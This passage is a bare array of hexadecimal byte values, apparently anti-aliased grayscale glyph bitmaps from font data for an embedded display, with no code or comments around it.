0x35, 0x4E, 0x66, 0x64, 0x58, 0x42, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x47, 0xA7, 0xF3, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xD6, 0x89, 0x1D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x15, 0xA9, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF5, 0x7A, 0x05, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x1D, 0xE3, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFA, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xB0, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x11, 0xD5, 0xFF,
0xFF, 0xFF, 0xFF, 0xE1, 0x75, 0x44, 0x14, 0x01, 0x25, 0x55, 0x90, 0xFB, 0xFF, 0xFF, 0xFF, 0xFF,
0xA7, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9D, 0xFF, 0xFF, 0xFF, 0xFF, 0xA8, 0x10, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x38, 0xE0, 0xFF, 0xFF, 0xFF, 0xFF, 0x44, 0x00, 0x00, 0x00, 0x1D, 0xFA,
0xFF, 0xFF, 0xFF, 0x6D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0xC6,
0xFF, 0xFF, 0xFF, 0xC2, 0x00, 0x00, 0x00, 0x91, 0xFF, 0xFF, 0xFF, 0xC4, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0xFD, 0xFF, 0xFF, 0xFF, 0x40, 0x00, 0x15,
0xF5, 0xFF, 0xFF, 0xFF, 0x37, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0xA0, 0xFF, 0xFF, 0xFF, 0xAD, 0x00, 0x54, 0xFF, 0xFF, 0xFF, 0xAC, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1D, 0xFF, 0xFF, 0xFF, 0xD6,
0x00, 0x76, 0xFF, 0xFF, 0xFF, 0x6F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0xE8, 0xFF, 0xFF, 0xF7, 0x01, 0x98, 0xFF, 0xFF, 0xFF, 0x4D, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC3, 0xFF,
0xFF, 0xFF, 0x1A, 0xBB, 0xFF, 0xFF, 0xFF, 0x2A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9E, 0xFF, 0xFF, 0xFF, 0x3C, 0xD9, 0xFF, 0xFF, 0xFF,
0x09, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x8E, 0xFF, 0xFF, 0xFF, 0x45, 0xC9, 0xFF, 0xFF, 0xFF, 0x0C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xAB, 0xFF, 0xFF, 0xFF, 0x24, 0xA4, 0xFF,
0xFF, 0xFF, 0x2F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0xCB, 0xFF, 0xFF, 0xFC, 0x05, 0x80, 0xFF, 0xFF, 0xFF, 0x52, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xEC, 0xFF, 0xFF, 0xDD, 0x00,
0x5B, 0xFF, 0xFF, 0xFF, 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x3E, 0xFF, 0xFF, 0xFF, 0xBA, 0x00, 0x36, 0xFF, 0xFF, 0xFF, 0xEA, 0x0B, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xAD, 0xFF, 0xFF, 0xFF,
0x85, 0x00, 0x03, 0xD6, 0xFF, 0xFF, 0xFF, 0x75, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x20, 0xFC, 0xFF, 0xFF, 0xF4, 0x15, 0x00, 0x00, 0x52, 0xFF, 0xFF, 0xFF,
0xE9, 0x1C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0xB5, 0xFF, 0xFF,
0xFF, 0x87, 0x00, 0x00, 0x00, 0x00, 0xC9, 0xFF, 0xFF, 0xFF, 0xEA, 0x42, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x0E, 0xC0, 0xFF, 0xFF, 0xFF, 0xF1, 0x12, 0x00, 0x00, 0x00, 0x00, 0x42,
0xFF, 0xFF, 0xFF, 0xFF, 0xFC, 0x80, 0x30, 0x07, 0x00, 0x00, 0x00, 0x1A, 0x4F, 0xCE, 0xFF, 0xFF,
0xFF, 0xFF, 0x71, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x74, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFB, 0xD6, 0xC5, 0xE5, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x85, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x5F, 0xF2, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xF5, 0x72, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x17, 0x98, 0xF4,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF5, 0xA6, 0x1F, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0x47, 0x81, 0x98, 0xAB, 0xA8, 0x98, 0x80,
0x50, 0x09, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x59, 0xA9, 0xA9, 0xA9, 0x55, 0x06, 0xA2, 0xA9, 0xA9, 0xA5, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x06, 0xE5, 0xFF, 0xFF, 0xE8, 0x19, 0x64, 0xFF, 0xFF, 0xFF, 0x82, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x64, 0xFF, 0xFF, 0xFB, 0x3E, 0x02, 0xDA, 0xFF, 0xFF, 0xBA, 0x02, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x02, 0xDA, 0xFF, 0xFF, 0x72, 0x00, 0x55, 0xFF, 0xFF, 0xE3, 0x15, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x55, 0xFF, 0xFF, 0xAA, 0x00, 0x00, 0xCD, 0xFF, 0xFA, 0x39,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x51, 0x90, 0x8C, 0x0C, 0x00, 0x07, 0x8E, 0x90,
0x56, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x2C, 0x5E,
0x8F, 0xA1, 0x85, 0x56, 0x25, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x28, 0xD2,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x9D, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5D,
0xF4, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xE6, 0x3E, 0x00, 0x00, 0x00, 0x00,
0x3C, 0xFF, 0xFF, 0xFF, 0xFF, 0xC0, 0x87, 0x6F, 0xA4, 0xE2, 0xFF, 0xFF, 0xFF, 0xE2, 0x0C, 0x00,
0x00, 0x00, 0xC7, 0xFF, 0xFF, 0xFF, 0x6D, 0x00, 0x00, 0x00, 0x00, 0x06, 0xB9, 0xFF, 0xFF, 0xFF,
0x90, 0x00, 0x00, 0x54, 0xFF, 0xFF, 0xFF, 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0B, 0xCA,
0xFF, 0xFF, 0xFD, 0x21, 0x00, 0xB5, 0xFF, 0xFF, 0xF8, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x52, 0xFF, 0xFF, 0xFF, 0x50, 0x00, 0xD9, 0xFF, 0xFF, 0xA8, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x09, 0xFA, 0xFF, 0xFF, 0x77, 0x03, 0xFA, 0xFF, 0xFF, 0x78, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE3, 0xFF, 0xFF, 0x9D, 0x21, 0xFF, 0xFF, 0xFF, 0x5B, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD1, 0xFF, 0xFF, 0xBB, 0x33, 0xFF, 0xFF, 0xFF,
0x50, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE2, 0xFF, 0xFF, 0xA4, 0x13, 0xFF,
0xFF, 0xFF, 0x6B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0xFA, 0xFF, 0xFF, 0x82,
0x00, 0xEE, 0xFF, 0xFF, 0x8F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x33, 0xFF, 0xFF,
0xFF, 0x60, 0x00, 0xC9, 0xFF, 0xFF, 0xE7, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8C,
0xFF, 0xFF, 0xFF, 0x39, 0x00, 0x87, 0xFF, 0xFF, 0xFF, 0x62, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x16, 0xE7, 0xFF, 0xFF, 0xCE, 0x00, 0x00, 0x10, 0xEC, 0xFF, 0xFF, 0xF8, 0x55, 0x00, 0x00, 0x00,
0x00, 0x0F, 0xCF, 0xFF, 0xFF, 0xFF, 0x50, 0x00, 0x00, 0x00, 0x6E, 0xFF, 0xFF, 0xFF, 0xFE, 0xB7,
0x82, 0x7B, 0xA5, 0xE4, 0xFF, 0xFF, 0xFF, 0xCE, 0x01, 0x00, 0x00, 0x00, 0x04, 0x93, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xBC, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x50, 0xED, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFD, 0x8A, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x0A, 0x38, 0x68, 0x97, 0x95, 0x66, 0x38, 0x0B, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x1E, 0x3A, 0x47, 0x42, 0x27, 0x01, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x25, 0x8C, 0xE8, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xE0, 0x76, 0x01,
0x4E, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xB6,
0x00, 0x00, 0x00, 0x00, 0x66, 0xF7, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xA1,
0x6F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xEF,
0x00, 0x00, 0x00, 0x89, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF4, 0xD8, 0xEC, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xEF,
0x00, 0x00, 0x52, 0xFF, 0xFF, 0xFF, 0xFF, 0xB7, 0x3D, 0x00, 0x00, 0x00, 0x17, 0x89, 0xF9, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0x99, 0x84, 0x84, 0x84, 0x84, 0x84, 0x84, 0x84, 0x84, 0x84, 0x84, 0x77,
0x00, 0x0D, 0xF0, 0xFF, 0xFF, 0xFF, 0x89, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2F, 0xF5,
0xFF, 0xFF, 0xFF, 0xFF, 0x21, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x68, 0xFF, 0xFF, 0xFF, 0xAE, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x64,
0xFF, 0xFF, 0xFF, 0xFF, 0x21, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0xD0, 0xFF, 0xFF, 0xF7, 0x1F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xF0, 0xFF, 0xFF, 0xFF, 0x21, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x38, 0xFF, 0xFF, 0xFF, 0xB1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xC2, 0xFF, 0xFF, 0xFF, 0x21, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x82, 0xFF, 0xFF, 0xFF, 0x64, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x9F, 0xFF, 0xFF, 0xFF, 0x21, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xA0, 0xFF, 0xFF, 0xFF, 0x1A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x9D, 0xFF, 0xFF, 0xFF, 0x21, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xBD, 0xFF, 0xFF, 0xF7, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x9D, 0xFF, 0xFF, 0xFF, 0x7C, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x20,
0xDA, 0xFF, 0xFF, 0xE2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x9D, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x5F,
0xF6, 0xFF, 0xFF, 0xCE, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x9D, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x5F,
0xEB, 0xFF, 0xFF, 0xD4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x9D, 0xFF, 0xFF, 0xFF, 0xDD, 0xD3, 0xD3, 0xD3, 0xD3, 0xD3, 0xD3, 0xD3, 0xD3, 0xD3, 0xD3, 0x49,
0xC7, 0xFF, 0xFF, 0xF1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x9D, 0xFF, 0xFF, 0xFF, 0x21, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xA3, 0xFF, 0xFF, 0xFF, 0x0E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x9D, 0xFF, 0xFF, 0xFF, 0x21, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x7F, 0xFF, 0xFF, 0xFF, 0x31, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xA3, 0xFF, 0xFF, 0xFF, 0x21, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x5B, 0xFF, 0xFF, 0xFF, 0x8E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xC8, 0xFF, 0xFF, 0xFF, 0x21, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x25, 0xFC, 0xFF, 0xFF, 0xEF, 0x0B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xF1, 0xFF, 0xFF, 0xFF, 0x21, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x9B, 0xFF, 0xFF, 0xFF, 0x6D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x43,
0xFF, 0xFF, 0xFF, 0xFF, 0x21, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x19, 0xF5, 0xFF, 0xFF, 0xFB, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x14, 0xE5,
0xFF, 0xFF, 0xFF, 0xFF, 0x21, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x81, 0xFF, 0xFF, 0xFF, 0xFE, 0x79, 0x0F, 0x00, 0x00, 0x00, 0x00, 0x4C, 0xD7, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0x68, 0x4C, 0x4C, 0x4C, 0x4C, 0x4C, 0x4C, 0x4C, 0x4C, 0x4C, 0x4C, 0x47,
0x00, 0x00, 0x0C, 0xC6, 0xFF, 0xFF, 0xFF, 0xFF, 0xFE, 0xD9, 0xAF, 0xA9, 0xD7, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0x00, 0x00, 0x00, 0x04, 0x88, 0xFE, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xE7,
0x99, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0x00, 0x00, 0x00, 0x00, 0x00, 0x46, 0xD7, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF6, 0xA0, 0x13,
0x6E, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFB,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x13, 0x4B, 0x79, 0x85, 0x6F, 0x52, 0x0D, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x15, 0x46, 0x77, 0x9E, 0x8C, 0x6A, 0x36, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x09, 0x54, 0x7B, 0x96, 0x8D, 0x71, 0x2E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x0F, 0xAE, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xC0, 0x37, 0x00, 0x00, 0x00, 0x73,
0xF0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xC6, 0x19, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2F, 0xDB,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF3, 0x33, 0x01, 0x8B, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xE1, 0x29, 0x00, 0x00, 0x00, 0x15, 0xF1, 0xFF, 0xFF, 0xFF,
0xE1, 0x9A, 0x72, 0x95, 0xDB, 0xFF, 0xFF, 0xFF, 0xE8, 0xB1, 0xFF, 0xFF, 0xFF, 0xF5, 0xA2, 0x84,
0xAF, 0xE7, 0xFF, 0xFF, 0xFF, 0xEE, 0x2D, 0x00, 0x00, 0x91, 0xFF, 0xFF, 0xFF, 0xAD, 0x0D, 0x00,
0x00, 0x00, 0x09, 0x99, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xC8, 0x17, 0x00, 0x00, 0x00, 0x02,
0x9D, 0xFF, 0xFF, 0xFF, 0xA2, 0x00, 0x21, 0xF9, 0xFF, 0xFF, 0xC2, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0xB4, 0xFF, 0xFF, 0xFF, 0xFF, 0xDF, 0x16, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0xA8,
0xFF, 0xFF, 0xF7, 0x11, 0x82, 0xFF, 0xFF, 0xFF, 0x3F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x2D, 0xFD, 0xFF, 0xFF, 0xFF, 0x54, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3F, 0xFF, 0xFF,
0xFF, 0x6E, 0xA9, 0xFF, 0xFF, 0xD3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD3,
0xFF, 0xFF, 0xFC, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0xF5, 0xFF, 0xFF, 0xAB,
0xCF, 0xFF, 0xFF, 0xAF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB2, 0xFF, 0xFF,
0xFF, 0x9E, 0x9E, 0x9E, 0x9E, 0x9E, 0x9E, 0x9E, 0x9E, 0x9E, 0xFC, 0xFF, 0xFF, 0xC3, 0xF3, 0xFF,
0xFF, 0x91, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x96, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xCD, 0xF2, 0xFF, 0xFF, 0x84,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA3, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xCF, 0xD8, 0xFF, 0xFF, 0xA2, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC1, 0xFF, 0xFF, 0xCB, 0x10, 0x10, 0x10, 0x10, 0x10,
0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x0A, 0xB3, 0xFF, 0xFF, 0xC6, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0xDF, 0xFF, 0xFF, 0xE4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8E, 0xFF, 0xFF, 0xFD, 0x2D, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x3B, 0xFF, 0xFF, 0xFF, 0xFF, 0x2F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10,
0xE8, 0xF8, 0xF8, 0x85, 0x52, 0xFF, 0xFF, 0xFF, 0xB2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xC7, 0xFF, 0xFF, 0xFF, 0xFF, 0xB1, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8A, 0xFF, 0xFF,
0xFF, 0x36, 0x00, 0xBF, 0xFF, 0xFF, 0xFF, 0x9B, 0x07, 0x00, 0x00, 0x00, 0x0A, 0x9A, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0x9A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x58, 0xF8, 0xFF, 0xFF, 0xCF, 0x00,
0x00, 0x2A, 0xFA, 0xFF, 0xFF, 0xFF, 0xD4, 0x88, 0x6A, 0x84, 0xDB, 0xFF, 0xFF, 0xFF, 0xCD, 0xE5,
0xFF, 0xFF, 0xFF, 0xCF, 0x90, 0x5A, 0x6D, 0xAE, 0xFF, 0xFF, 0xFF, 0xF6, 0x39, 0x00, 0x00, 0x00,
0x61, 0xF4, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xE2, 0x16, 0x33, 0xF3, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFD, 0x50, 0x00, 0x00, 0x00, 0x00, 0x00, 0x22,
0xC1, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFD, 0xA9, 0x13, 0x00, 0x00, 0x22, 0xBF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xC2, 0x38, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x2F,
0x5E, 0x8E, 0xA8, 0x7A, 0x42, 0x0D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x17, 0x4D, 0x84, 0xA7,
0x9B, 0x74, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x5B, 0x6C, 0x6C, 0x6C, 0x1E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4B, 0xFF, 0xFF, 0xFF, 0xD1, 0x10, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0C, 0xE1, 0xFF, 0xFF, 0xDC,
0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x8F, 0xFF, 0xFF, 0xE6, 0x22, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x34, 0xFC, 0xFF, 0xEF, 0x2D, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7D, 0xC5, 0xC4, 0x3A,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
